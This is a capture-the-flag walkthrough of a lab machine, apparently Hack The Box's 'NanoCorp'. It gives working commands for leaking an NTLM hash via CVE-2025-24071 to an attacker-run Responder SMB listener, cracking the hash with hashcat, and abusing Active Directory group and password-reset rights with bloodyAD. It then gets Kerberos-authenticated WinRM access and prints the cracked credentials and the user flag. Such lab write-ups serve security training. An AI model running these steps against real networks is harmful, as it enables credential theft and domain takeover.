Skip to content

NanoCorp

Initial Scan

Port scan on the target:

Discovered open port 80/tcp on 10.10.11.93

Port 80 is HTTP running Apache/2.4.58 (Win64) with OpenSSL/3.1.3 and PHP/8.2.12.

Enumeration

The web application at http://hire.nanocorp.htb/ includes a file upload feature. Initial ZipSlip attempts to exploit path traversal in ZIP extraction did not yield results.

NTLM Hash Disclosure (CVE-2025-24071)

We pivot to CVE-2025-24071, which discloses NTLM hashes through .library-ms files embedded in ZIP archives. When Windows Explorer processes the malicious ZIP, it attempts to connect to our SMB server, leaking the NTLMv2 hash.

git clone https://github.com/Marcejr117/CVE-2025-24071_PoC.git
cd CVE-2025-24071_PoC
python PoC.py test 10.10.15.9

We start Responder to capture the hash:

cd Responder
sudo python Responder -i tun0

[SMB] NTLMv2-SSP Client   : 10.10.11.93
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:e4591fd5433772e8:...

The captured hash is cracked with hashcat:

hashcat -m 5600 -a 0 hash ~/wordlists/rockyou.txt

web_svc:dksehdgh712!@#

BloodHound Enumeration

WinRM access is not available directly. We run BloodHound to find an attack path:

bloodhound-ce-python -ns 10.10.11.93 -u "web_svc" -p 'dksehdgh712!@#' -d nanocorp.htb -c All --zip

BloodHound reveals that web_svc can be added to the IT_Support group, which has permissions to reset the password of monitoring_svc.

Lateral Movement

First, we add web_svc to the IT_Support group:

bloodyAD -d "nanocorp.htb" --host 'dc01.nanocorp.htb' --dc-ip 10.10.11.93 \
  -u 'web_svc' -p 'dksehdgh712!@#' add groupMember "IT_Support" "web_svc"

Then we reset the password of monitoring_svc:

bloodyAD -d "nanocorp.htb" --host 'dc01.nanocorp.htb' --dc-ip 10.10.11.93 \
  -u 'web_svc' -p 'dksehdgh712!@#' set password "monitoring_svc" "newP@ssword2022"

User Flag

We obtain a Kerberos ticket for monitoring_svc and authenticate via evil-winrm-py with Kerberos:

getTGT.py 'nanocorp.htb'/'monitoring_svc':'newP@ssword2022'

Configure /etc/krb5.conf for the domain:

[libdefaults]
    default_realm = NANOCORP.HTB
    dns_lookup_kdc = false
    dns_lookup_realm = false
    rdns = false
    ticket_lifetime = 24h
    forwardable = true

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB

Ensure the ccache file has correct ownership before connecting:

KRB5_CCNAME='monitoring_svc.ccache' evil-winrm-py -i 'dc01.nanocorp.htb' -k --ssl --no-pass

user.txt: 0c152147fe4d6a425c65c3818477c688

Flags

user.txt: *** root.txt: Not obtained